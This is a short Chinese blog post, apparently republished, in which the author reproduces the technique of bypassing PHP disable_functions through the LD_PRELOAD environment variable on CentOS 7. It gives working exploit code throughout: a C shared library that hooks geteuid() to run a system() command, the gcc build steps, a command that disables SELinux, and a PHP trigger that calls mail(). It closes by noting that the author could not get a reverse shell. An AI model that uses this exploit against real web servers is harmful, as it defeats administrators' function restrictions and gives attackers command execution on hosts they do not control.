读《利用环境变量LD_PRELOAD来绕过php disable_function执行系统命令》有感

来源:互联网 发布:鼎捷软件 听证会 编辑:程序博客网 时间:2024/06/05 09:04

今天看来一篇文章:http://cb.drops.wiki/wooyun/drops/tips-16054.html

复现了一下,感觉有点坑

我把复现的过程,结果和遇到问题在这里总结一下

我的实验环境是centos7 php 5.4

首先按照要求编译一个so

1.创建一个hehe.c


#include <stdlib.h>#include <stdio.h>#include <string.h>void payload() {        system("ls /home > /var/www/html/kkkk.txt");}int  geteuid() {if (getenv("LD_PRELOAD") == NULL) { return 0; }unsetenv("LD_PRELOAD");payload();}

然后编译一下

gcc -c -fPIC hehe.c -o hehe
gcc --share hehe -o hehe.so

生成一个hehe.so文件

关闭selinux :setenforce 0

然后写一个test.php文件

<?phpputenv("LD_PRELOAD=/var/www/html/hehe.so");mail("a@localhost","","","","");?>

访问,等待了很久才在在网站根目录下生成一个kkkk.txt


虽然是成功生成了kkkk.txt,并且内容也是正确的。

但是有几个问题我搞了一天都没有解决:

1.生成的时候特别慢,特别卡,无论我把机子的性能调整到多高

2.不能用system函数读和删除文件,查看日志发现,路径虽然写对了,但是在日志中发现大量文件不存在或者没有被发现的错误记录,很郁闷,而且错误记录不止一条,有很多,证明mail函数在邮件没有发送成功的时候反复发送,直到一个阀值才停下

3.无法用常规的方式反弹shell出来



0 0